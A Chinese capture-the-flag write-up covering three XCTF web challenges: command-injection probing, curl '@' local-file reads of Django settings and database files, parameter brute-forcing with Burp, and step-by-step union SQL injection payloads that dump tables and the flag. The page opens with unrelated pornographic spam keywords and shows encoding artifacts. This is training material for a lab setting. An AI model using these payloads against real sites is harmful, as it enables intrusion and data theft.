日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

XCTF(攻防世界)—进阶web题Write Up(一)

發(fā)布時(shí)間:2024/9/30 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XCTF(攻防世界)—进阶web题Write Up(一) 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

前言:這段時(shí)間做了一些XCTF的web進(jìn)階題,真的是學(xué)習(xí)到了很多知識(shí),就來(lái)總結(jié)一下。

Cat


一開(kāi)始以為是命令注入,恰好最近學(xué)習(xí)了命令注入,就先來(lái)測(cè)試一下:

輸入127.0.0.1,發(fā)現(xiàn)是可以ping通的

輸入127.0.0.1 | phpinfo() 或127.0.0.1 & net user就會(huì)顯示:

Invalid URL

看來(lái)命令注入的方法是行不通的(其他連接符也被過(guò)濾了,如&&、||等)

沒(méi)有思路了,就看了大師傅們的Write Up,大意就是在URL那里構(gòu)造錯(cuò)誤的參數(shù),使頁(yè)面進(jìn)行報(bào)錯(cuò),通過(guò)頁(yè)面報(bào)錯(cuò)從中找出需要的信息。

當(dāng)輸入?url=%79執(zhí)行完時(shí)變成了url=y

看來(lái)可以傳遞url編碼,服務(wù)器會(huì)接受并進(jìn)行解析,所以這里就構(gòu)造最大的參數(shù)看是否會(huì)報(bào)錯(cuò)。
HTML URL 編碼

輸入:

?url=%ff

發(fā)現(xiàn)確實(shí)報(bào)錯(cuò)

其實(shí)在字符編碼方面,ASCII碼在標(biāo)準(zhǔn)符號(hào)、數(shù)字、英文等取值范圍是0~127,擴(kuò)展ASCII碼為128~255,url編碼使用的是16進(jìn)制,一般后臺(tái)允許輸入也是標(biāo)準(zhǔn)的ASCII碼而不是擴(kuò)展ASCII碼,所以當(dāng)輸入的參數(shù)ASCII碼大于127時(shí)便會(huì)報(bào)錯(cuò)。

報(bào)錯(cuò)出來(lái)了就從中找有用的信息,發(fā)現(xiàn):


使用的是python站點(diǎn),Django框架.百度先大致了解一下Django框架和Django框架目錄,flag一定就在某目錄中放著。

查到關(guān)于數(shù)據(jù)庫(kù)的配置文件,可以嘗試一下,看了師傅們的博客說(shuō)有比賽時(shí)這個(gè)提示:

RTFM of PHP CURL===>>read the fuck manul of PHP CURL???

那就百度來(lái)查PHP CURL,查完還是一頭霧水,看了師傅們的博客說(shuō)是要找到PHP中curl的CURLOPT_POSTFIELDS。

查到手冊(cè)

The full data to post in a HTTP “POST” operation. To post a file, prepend a filename with @ and use the full path. This can either be passed as a urlencoded string like ‘para1=val1?2=val2&…’ or as an array with the field name as key and field data as value. If value is an array, the Content-Type header will be set to multipart/form-data.
使用數(shù)組提供 post 數(shù)據(jù)時(shí),CURL 組件大概是為了兼容 @filename 這種上傳文件的寫法,默認(rèn)把 content_type 設(shè)為了 multipart/form-data。雖然對(duì)于大多數(shù)服務(wù)器并沒(méi)有影響,但是還是有少部分服務(wù)器不兼容。

發(fā)現(xiàn)這一段話

提供 post 數(shù)據(jù)時(shí),CURL 組件大概是為了兼容 @filename 這種上傳文件的寫法

所以根據(jù)Django的目錄,使用@進(jìn)行文件傳遞,對(duì)文件進(jìn)行讀取之后還會(huì)把內(nèi)容傳給url參數(shù),超出解析范圍的編碼的時(shí)候就會(huì)得到錯(cuò)誤信息。

那就來(lái)嘗試從配置文件settings.py的報(bào)錯(cuò)中看看有沒(méi)有database的相關(guān)信息
輸入:

?url=@/opt/api/api/settings.py

查到

并且查出了所在路徑

那就按照這個(gè)目錄繼續(xù)查詢,看看是否出flag
輸入:

?url=@/opt/api/database.sqlite3

ctrl+f查找ctf得出flag

總結(jié):

這次做題感覺(jué)收獲很大,首先是對(duì)這種沒(méi)有思路時(shí)可以去構(gòu)造語(yǔ)句來(lái)得出報(bào)錯(cuò)信息,通過(guò)錯(cuò)誤信息來(lái)獲得有用的信息。其次就是curl的@+文件名做本地文件讀取,感覺(jué)自己還是懂的太少了,寫的write up也有漏洞和問(wèn)題,不過(guò)繼續(xù)努力,附上大師傅博客。
Wupco’s Blog

ics-06


只有報(bào)表中心可以點(diǎn)擊進(jìn)去,查看源碼沒(méi)有發(fā)現(xiàn)線索,只發(fā)現(xiàn)下面提示是一道送分題,觀察URL發(fā)現(xiàn)無(wú)論傳入id的值為多少,頁(yè)面都沒(méi)有變化,猜測(cè)這道題突破口可能就在id傳參上面,那就用burp來(lái)爆破。

先用簡(jiǎn)單的py腳本生成字典

for a in range (3000):print(a)

發(fā)現(xiàn)到了2223時(shí)長(zhǎng)度不同,打開(kāi)即可得出flag

總結(jié):

id能夠傳任意參數(shù)是突破口,主要練習(xí)一下burp爆破

NewsCenter


隨便查一下,發(fā)現(xiàn)有回顯

那這道題考的是SQL注入了,并且是最簡(jiǎn)單的回顯注入。

判斷出'為閉合符號(hào),當(dāng)輸入'時(shí)頁(yè)面報(bào)錯(cuò),輸入'#頁(yè)面回顯正常

判斷列數(shù)

payload:

' order by 1#

判斷出一共有三列

爆數(shù)據(jù)庫(kù)

payload:

' and 0 union select 1,database(),user()#


爆數(shù)據(jù)表

payload:

0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news'#


爆字段

payload:

0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table' #


爆值

payload:

0' union select 1,group_concat(id,0x3a,fl4g),3 from secret_table#

總結(jié)

以上是生活随笔為你收集整理的XCTF(攻防世界)—进阶web题Write Up(一)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。